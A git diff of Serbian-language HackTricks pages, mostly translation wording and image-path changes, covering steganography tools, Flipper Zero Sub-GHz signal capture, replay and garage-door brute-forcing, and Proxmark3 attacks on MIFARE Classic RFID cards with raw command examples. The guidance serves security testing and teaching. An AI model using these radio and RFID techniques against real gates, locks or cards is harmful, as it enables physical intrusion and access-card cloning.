@ -415,7 +415,7 @@ Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombi
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -40,23 +40,23 @@ foremost -i file # Extracts data
```
### **Exiftool**
Pomaže u pregledu metapodataka datoteke, dostupan [ovde](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Pomaže pri pregledu metapodataka datoteke, dostupan [ovde](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Slično kao exiftool, za pregled metapodataka. Instalabilan putem `apt`, izvorni kod na [GitHub-u](https://github.com/Exiv2/exiv2), i ima [zvaničnu veb lokaciju](http://www.exiv2.org/).
Slično kao exiftool, za pregled metapodataka. Instalira se putem `apt`, izvorni kod na [GitHub-u](https://github.com/Exiv2/exiv2), i ima [zvaničnu veb stranicu](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Datoteka**
### **Fajl**
Identifikujte tip datoteke sa kojom se bavite.
Identifikujte tip fajla sa kojim se bavite.
### **Niske**
Izdvaja čitljive niske iz datoteka, koristeći različite postavke enkodiranja za filtriranje rezultata.
Izdvaja čitljive niske iz fajlova, koristeći različite postavke enkodiranja za filtriranje rezultata.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -88,13 +88,13 @@ Nevidljivi znakovi u navodno praznim prostorima mogu sakriti informacije. Da bis
```bash
./magick identify -verbose stego.jpg
```
Da biste pokušali popraviti oštećenu sliku, dodavanje komentara metapodataka može pomoći:
Da biste pokušali popravku oštećene slike, dodavanje metapodataka u komentar može pomoći:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide za skrivanje podataka**
Steghide olakšava skrivanje podataka unutar `JPEG, BMP, WAV i AU` datoteka, sposoban je za ugradnju i izvlačenje šifrovanih podataka. Instalacija je jednostavna korišćenjem `apt`, a njen [izvorni kod je dostupan na GitHub-u](https://github.com/StefanoDeVuono/steghide).
Steghide olakšava skrivanje podataka unutar `JPEG, BMP, WAV i AU` datoteka, sposoban je da ugradi i izvuče šifrovane podatke. Instalacija je jednostavna korišćenjem `apt`, a njen [izvorni kod je dostupan na GitHub-u](https://github.com/StefanoDeVuono/steghide).
**Komande:**
@ -109,13 +109,13 @@ Za web bazirano izvlačenje, posetite [ovaj sajt](https://futureboy.us/stegano/d
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg za PNG i BMP datoteke**
### **zsteg za PNG i BMP fajlove**
zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP datotekama. Instalacija se vrši putem `gem install zsteg`, a izvor možete pronaći na [GitHub-u](https://github.com/zed-0xff/zsteg).
zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP fajlovima. Instalacija se vrši putem `gem install zsteg`, sa [izvorom na GitHub-u](https://github.com/zed-0xff/zsteg).
**Komande:**
* `zsteg -a file` primenjuje sve metode detekcije na datoteku.
* `zsteg -a file` primenjuje sve metode detekcije na fajlu.
* `zsteg -E file` specificira payload za ekstrakciju podataka.
### **StegoVeritas i Stegsolve**
@ -126,29 +126,29 @@ zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP datotekama.
### **FFT za Otkrivanje Skrivenog Sadržaja**
Tehnike brze Furijeove transformacije (FFT) mogu otkriti skriveni sadržaj u slikama. Korisni resursi uključuju:
Tehnike Brze Furijeove Transformacije (FFT) mogu otkriti skriveni sadržaj u slikama. Korisni resursi uključuju:
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic na GitHub-u](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy za Audio i Image Datoteke**
### **Stegpy za Audio i Image Fajlove**
Stegpy omogućava ugradnju informacija u slikovne i audio datoteke, podržavajući formate poput PNG, BMP, GIF, WebP i WAV. Dostupan je na [GitHub-u](https://github.com/dhsdshdhk/stegpy).
Stegpy omogućava ugradnju informacija u image i audio fajlove, podržavajući formate poput PNG, BMP, GIF, WebP i WAV. Dostupan je na [GitHub-u](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck za Analizu PNG Datoteka**
### **Pngcheck za Analizu PNG Fajlova**
Za analizu PNG datoteka ili proveru njihove autentičnosti, koristite:
Za analizu PNG fajlova ili proveru njihove autentičnosti, koristite:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Dodatni alati za analizu slika**
Za dalje istraživanje, razmotrite posetu:
Za dalje istraživanje, posetite:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Analiza greške nivoa slike](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Analiza nivoa greške slike](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
@ -163,7 +163,7 @@ Steghide je svestran alat dizajniran za skrivanje podataka u JPEG, BMP, WAV i AU
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Ovaj alat je kompatibilan sa različitim formatima uključujući PNG, BMP, GIF, WebP i WAV. Za više informacija, pogledajte [odeljak Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Ovaj alat je kompatibilan sa različitim formatima, uključujući PNG, BMP, GIF, WebP i WAV. Za više informacija, pogledajte [odeljak Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
@ -185,7 +185,7 @@ Deepsound omogućava šifrovanje i otkrivanje informacija unutar zvučnih fajlov
### **Sonic Visualizer**
Neprocenjiv alat za vizuelnu i analitičku inspekciju audio fajlova, Sonic Visualizer može otkriti skrivene elemente koji nisu detektovani na druge načine. Posetite [zvanični sajt](https://www.sonicvisualiser.org/) za više informacija.
Neprocenjiv alat za vizuelnu i analitičku inspekciju audio fajlova, Sonic Visualizer može otkriti skrivene elemente koji nisu detektovani na druge načine. Posetite [zvaničnu veb stranicu](https://www.sonicvisualiser.org/) za više informacija.
### **DTMF Tones - Dial Tones**
@ -215,7 +215,7 @@ Za prevod Brailove azbuke, [Branah Braille Translator](https://www.branah.com/br
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -225,7 +225,7 @@ Za prevod Brailove azbuke, [Branah Braille Translator](https://www.branah.com/br
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,9 +24,9 @@ Sa [**Flipper Zero**](https://flipperzero.one/) možete:
* **Slušati/Snimati/Ponavljati radio frekvencije:** [**Sub-GHz**](fz-sub-ghz.md)
* **Čitati/Snimati/Emulirati NFC kartice:** [**NFC**](fz-nfc.md)
* **Čitati/Snimati/Emulirati 125kHz oznake:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Čitati/Snimati/Emulirati 125kHz tagove:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Čitati/Snimati/Slati infracrvene signale:** [**Infrared**](fz-infrared.md)
* **Čitati/Snimati/Emulirati iButtons:** [**iButton**](../ibutton.md)
* **Čitati/Snimati/Emulirati iButton-e:** [**iButton**](../ibutton.md)
* **Koristiti ga kao Bad USB**
* **Koristiti ga kao sigurnosni ključ (U2F)**
* **Igrati Zmiju**
@ -35,7 +35,7 @@ Sa [**Flipper Zero**](https://flipperzero.one/) možete:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -45,7 +45,7 @@ Sa [**Flipper Zero**](https://flipperzero.one/) možete:
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
## Uvod <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero može **primaliti i emitovati radio frekvencije u opsegu od 300-928 MHz** sa svojim ugrađenim modulom, koji može čitati, čuvati i emulirati daljinske kontrole. Ove kontrole se koriste za interakciju sa kapijama, rampama, radio bravama, prekidačima daljinskog upravljanja, bežičnim zvonoima za vrata, pametnim svetlima i još mnogo toga. Flipper Zero vam može pomoći da saznate da li je vaša bezbednost ugrožena.
Flipper Zero može **primaljivati i emitovati radio frekvencije u opsegu od 300-928 MHz** sa svojim ugrađenim modulom, koji može čitati, čuvati i emulirati daljinske upravljače. Ovi upravljači se koriste za interakciju sa kapijama, rampama, radio bravama, prekidačima daljinskog upravljanja, bežičnim zvonoima za vrata, pametnim svetlima i još mnogo toga. Flipper Zero vam može pomoći da saznate da li je vaša bezbednost ugrožena.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -39,7 +39,7 @@ Flipper Zero ima ugrađeni sub-1 GHz modul zasnovan na [](https://www.st.com/
### Analizator frekvencija
{% hint style="info" %}
Kako pronaći koju frekvenciju koristi daljinski
Kako pronaći koju frekvenciju koristi daljinski upravljač
{% endhint %}
Prilikom analize, Flipper Zero skenira jačinu signala (RSSI) na svim dostupnim frekvencijama u konfiguraciji frekvencija. Flipper Zero prikazuje frekvenciju sa najvišom vrednošću RSSI, sa jačinom signala većom od -90 [dBm](https://en.wikipedia.org/wiki/DBm).
@ -54,17 +54,17 @@ Da biste odredili frekvenciju daljinskog upravljača, uradite sledeće:
### Čitanje
{% hint style="info" %}
Pronađite informacije o korišćenoj frekvenciji (takođe još jedan način da se pronađe korišćena frekvencija)
Pronađite informacije o korišćenoj frekvenciji (takođe još jedan način da se pronađe koja frekvencija se koristi)
{% endhint %}
Opcija **Čitanje** **sluša na konfigurisanoj frekvenciji** na naznačenoj modulaciji: 433.92 AM prema podrazumevanim postavkama. Ako se **nešto pronađe** prilikom čitanja, **informacije se prikazuju** na ekranu. Ove informacije mogu biti korišćene za replikaciju signala u budućnosti.
Opcija **Čitanje** **sluša na konfigurisanoj frekvenciji** na naznačenoj modulaciji: 433.92 AM po podrazumevanim postavkama. Ako se **nešto pronađe** prilikom čitanja, **informacije se prikazuju** na ekranu. Ove informacije mogu biti korisne za replikaciju signala u budućnosti.
Dok se koristi Čitanje, moguće je pritisnuti **levo dugme** i **konfigurisati ga**.\
Dok se koristi Čitanje, moguće je pritisnuti **levi taster** i **konfigurisati ga**.\
Trenutno ima **4 modulacije** (AM270, AM650, FM328 i FM476), i **nekoliko relevantnih frekvencija** je sačuvano:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Možete postaviti **bilo koju koja vas zanima**, međutim, ako niste sigurni koja frekvencija bi mogla biti ona koju koristi daljinski upravljač koji imate, **postavite Hopping na ON** (Isključeno po podrazumevanim postavkama), i pritisnite dugme nekoliko puta dok Flipper ne uhvati i pruži vam informacije koje su vam potrebne da postavite frekvenciju.
Možete postaviti **bilo koju koja vas zanima**, međutim, ako niste sigurni koja frekvencija bi mogla biti ona koju koristi daljinski upravljač koji imate, **postavite Hopping na ON** (Isključeno po podrazumevanim postavkama), i pritisnite dugme nekoliko puta dok Flipper ne uhvati signal i pruži vam informacije koje su vam potrebne da postavite frekvenciju.
{% hint style="danger" %}
Prebacivanje između frekvencija traje neko vreme, stoga signali koji se prenose u trenutku prebacivanja mogu biti propušteni. Za bolji prijem signala, postavite fiksnu frekvenciju određenu Analizatorom frekvencija.
@ -82,7 +82,7 @@ Podrazumevano, **Čitanje sirovih podataka je takođe na 433.92 u AM650**, ali a
### Brute-Force
Ako znate protokol koji se koristi na primer za garažna vrata, moguće je **generisati sve kodove i poslati ih sa Flipper Zero uređajem.** Ovo je primer koji podržava opšte uobičajene tipove garaža: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
Ako znate protokol koji se koristi na primer za garažna vrata, moguće je **generisati sve kodove i poslati ih sa Flipper Zero uređajem.** Ovo je primer koji podržava opšte poznate tipove garaža: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Ručno dodavanje
@ -94,20 +94,20 @@ Dodajte signale iz konfigurisane liste protokola
| Princeton\_433 (radi sa većinom statičkih kodnih sistema) | 433.92 | Statički |
| -------------------------------------------------------- | ------ | -------- |
| Nice Flo 12bit\_433 | 433.92 | Statički |
| Nice Flo 24bit\_433 | 433.92 | Statički |
| CAME 12bit\_433 | 433.92 | Statički |
| CAME 24bit\_433 | 433.92 | Statički |
| Linear\_300 | 300.00 | Statički |
| CAME TWEE | 433.92 | Statički |
| Gate TX\_433 | 433.92 | Statički |
| DoorHan\_315 | 315.00 | Dinamički |
| DoorHan\_433 | 433.92 | Dinamički |
| LiftMaster\_315 | 315.00 | Dinamički |
| LiftMaster\_390 | 390.00 | Dinamički |
| Security+2.0\_310 | 310.00 | Dinamički |
| Security+2.0\_315 | 315.00 | Dinamički |
| Security+2.0\_390 | 390.00 | Dinamički |
| Nice Flo 12bit\_433 | 433.92 | Statički |
| Nice Flo 24bit\_433 | 433.92 | Statički |
| CAME 12bit\_433 | 433.92 | Statički |
| CAME 24bit\_433 | 433.92 | Statički |
| Linear\_300 | 300.00 | Statički |
| CAME TWEE | 433.92 | Statički |
| Gate TX\_433 | 433.92 | Statički |
| DoorHan\_315 | 315.00 | Dinamički |
| DoorHan\_433 | 433.92 | Dinamički |
| LiftMaster\_315 | 315.00 | Dinamički |
| LiftMaster\_390 | 390.00 | Dinamički |
| Security+2.0\_310 | 310.00 | Dinamički |
| Security+2.0\_315 | 315.00 | Dinamički |
| Security+2.0\_390 | 390.00 | Dinamički |
### Podržani prodavci Sub-GHz
Proverite listu na [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
@ -128,20 +128,6 @@ Dobijte dBm vrednosti sačuvanih frekvencija
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,12 +22,12 @@
## Napadi na RFID sisteme sa Proxmark3
Prvo što trebate uraditi je imati [**Proxmark3**](https://proxmark.com) i [**instalirati softver i njegove zavisnosti**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
Prva stvar koju trebate uraditi je da imate [**Proxmark3**](https://proxmark.com) i [**instalirate softver i njegove zavisnosti**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Napadi na MIFARE Classic 1KB
Ima **16 sektora**, svaki od njih ima **4 bloka** i svaki blok sadrži **16B**. UID se nalazi u sektoru 0 bloku 0 (i ne može se menjati).\
Da biste pristupili svakom sektoru, potrebne su vam **2 ključa** (**A** i **B**) koji se čuvaju u **bloku 3 svakog sektora** (sektorski trailer). Sektor trailer takođe čuva **pristupne bitove** koji daju dozvole za **čitanje i pisanje** na **svakom bloku** koristeći 2 ključa.\
Da biste pristupili svakom sektoru, potrebne su vam **2 ključa** (**A** i **B**) koji se čuvaju u **bloku 3 svakog sektora** (sektorski trailer). Sektorski trailer takođe čuva **pristupne bitove** koji daju dozvole za **čitanje i pisanje** na **svakom bloku** koristeći 2 ključa.\
2 ključa su korisna za davanje dozvola za čitanje ako znate prvi ključ i pisanje ako znate drugi ključ (na primer).
Mogu se izvesti nekoliko napada.
@ -53,7 +53,7 @@ Proxmark3 omogućava obavljanje drugih radnji poput **prisluškivanja** komunika
### Sirove Komande
Sistemi IoT-a ponekad koriste **nebrendirane ili nekomercijalne oznake**. U tom slučaju, možete koristiti Proxmark3 da biste poslali prilagođene **sirove komande oznakama**.
Sistemi IoT-a ponekad koriste **nebrendirane ili nekomercijalne oznake**. U tom slučaju, možete koristiti Proxmark3 za slanje prilagođenih **sirovih komandi oznakama**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -63,11 +63,11 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Sa ovim informacijama možete pokušati da pronađete informacije o kartici i načinu komunikacije s njom. Proxmark3 omogućava slanje sirovih komandi poput: `hf 14a raw -p -b 7 26`
Sa ovim informacijama možete pokušati da pronađete informacije o kartici i načinu komunikacije sa njom. Proxmark3 omogućava slanje sirovih komandi poput: `hf 14a raw -p -b 7 26`
### Skripte
Proxmark3 softver dolazi sa prednapunjenim listom **automatizovanih skripti** koje možete koristiti za obavljanje jednostavnih zadataka. Da biste dobili punu listu, koristite komandu `script list`. Zatim koristite komandu `script run`, praćenu imenom skripte:
Proxmark3 softver dolazi sa prednapunjenom listom **automatizovanih skripti** koje možete koristiti za obavljanje jednostavnih zadataka. Da biste dobili punu listu, koristite komandu `script list`. Zatim koristite komandu `script run`, praćenu imenom skripte:
```
proxmark3> script run mfkeys
```
@ -75,7 +75,7 @@ Možete kreirati skriptu za **fuzziranje čitača oznaka**, tako što ćete kopi
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -84,10 +84,10 @@ Možete kreirati skriptu za **fuzziranje čitača oznaka**, tako što ćete kopi
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -16,45 +16,45 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
